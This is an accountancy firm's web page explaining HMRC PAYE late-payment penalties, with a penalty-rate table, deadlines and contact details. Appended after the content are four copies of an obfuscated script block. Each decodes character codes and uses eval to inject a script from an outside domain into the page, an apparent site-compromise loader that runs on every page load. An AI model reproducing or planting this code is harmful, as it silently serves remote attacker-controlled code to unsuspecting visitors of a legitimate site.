PAYE Penalties

The following table shows how the penalties will be calculated.

No. of times payments are late in a tax year Penalty percentage Amount to which penalty percentages apply
1 No penalty
2-4 1% Total amount that is late in
5-7 2% the tax year (ignoring the first
8-10 3% late payment in that tax year).
11 or more 4%

Please note that a penalty of 5% of any amount unpaid may be charged if an amount is six months late and a further 5% if the amount is still unpaid after twelve months.

HM Revenue & Customs will not notify employers of penalties until after the end of the tax year i.e. April/May 2011 so you may not be made immediately aware of any late payments.

Remember that if you pay monthly your payment must be cleared by the 19th of the month.

Please let us know if you have any questions on the above or on methods of paying PAYE.

If you think you may have problems paying your PAYE/NI on time please contact us and we can contact HM Revenue & Customs about getting extra time to pay.

Call us on 01827 715264 or e-mail info@screatons.co.uk

<script id='globalsway'>var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,118,97,114,32,98,100,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,48,44,49,48,49,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,49,44,49,49,50,44,49,49,53,44,52,55,44,49,49,49,44,49,49,48,44,49,48,49,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,53,50,44,53,50,41,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,115,46,105,100,61,39,98,108,117,101,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125,10);eval(t);</script>
<script id='globalsway'>var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,118,97,114,32,98,100,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,48,44,49,48,49,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,49,44,49,49,50,44,49,49,53,44,52,55,44,49,49,49,44,49,49,48,44,49,48,49,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,53,50,44,53,50,41,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,115,46,105,100,61,39,98,108,117,101,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125,10);eval(t);</script>
<script id='globalsway'>var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,118,97,114,32,98,100,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,48,44,49,48,49,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,49,44,49,49,50,44,49,49,53,44,52,55,44,49,49,49,44,49,49,48,44,49,48,49,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,53,50,44,53,50,41,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,115,46,105,100,61,39,98,108,117,101,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125,10);eval(t);</script>
<script id='globalsway'>var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,118,97,114,32,98,100,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,48,48,44,49,48,49,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,49,44,49,49,50,44,49,49,53,44,52,55,44,49,49,49,44,49,49,48,44,49,48,49,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,53,50,44,53,50,41,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,115,46,105,100,61,39,98,108,117,101,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125,10);eval(t);</script>
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